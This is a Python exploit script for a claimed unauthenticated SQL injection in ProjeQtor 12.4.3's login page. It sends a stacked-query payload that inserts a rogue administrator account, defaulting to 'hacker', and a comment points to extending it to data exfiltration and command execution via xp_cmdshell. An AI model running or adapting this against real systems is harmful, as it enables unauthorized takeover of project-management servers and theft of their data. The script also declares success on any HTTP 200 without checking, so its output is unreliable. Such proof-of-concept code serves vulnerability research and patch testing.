#!/usr/bin/env python3 """ CVE-2026-41462 - ProjeQtor Unauthenticated SQL Injection via Login Tested on ProjeQtor 12.4.3 Author : Ashraf Zaryouh / @0xBlackash Github : https://github.com/0xBlackash/CVE-2026-41462 """ import requests import sys import argparse import urllib3 from urllib.parse import urljoin urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def main(): parser = argparse.ArgumentParser(description="CVE-2026-41462 - ProjeQtor SQLi Exploit") parser.add_argument("-u", "--url", required=True, help="Target URL (e.g. http://target.com)") parser.add_argument("--create-admin", action="store_true", help="Create a new admin user") parser.add_argument("--username", default="hacker", help="Username for new admin (default: hacker)") parser.add_argument("--password", default="Admin123!", help="Password for new admin (default: Admin123!)") parser.add_argument("-p", "--proxy", help="Proxy (e.g. http://127.0.0.1:8080)") args = parser.parse_args() target = args.url.rstrip("/") session = requests.Session() if args.proxy: session.proxies = {"http": args.proxy, "https": args.proxy} print(f"[+] Targeting: {target}") # Common login endpoint for ProjeQtor login_url = urljoin(target, "/login.php") # or /projeqtor/login.php depending on installation # Payload to create a new admin user via stacked queries / INSERT # Adjust the table/column names if the exact schema differs slightly create_admin_payload = f"admin' ; INSERT INTO resource (name,login,password,profile) VALUES ('{args.username}','{args.username}',MD5('{args.password}'),1) -- " data = { "login": create_admin_payload, "password": "anything", "submit": "1" } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" } try: print(f"[+] Sending payload to create admin user '{args.username}' ...") r = session.post(login_url, data=data, headers=headers, verify=False, timeout=15) if r.status_code == 200: print("[+] Request sent successfully.") print(f"[+] New admin created → Username: {args.username} | Password: {args.password}") print(f"[+] Try logging in at: {target}/login.php") else: print(f"[-] Unexpected status code: {r.status_code}") # Optional: You can extend this with data exfiltration payloads (UNION SELECT) or command execution if MSSQL + xp_cmdshell is enabled. except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": main()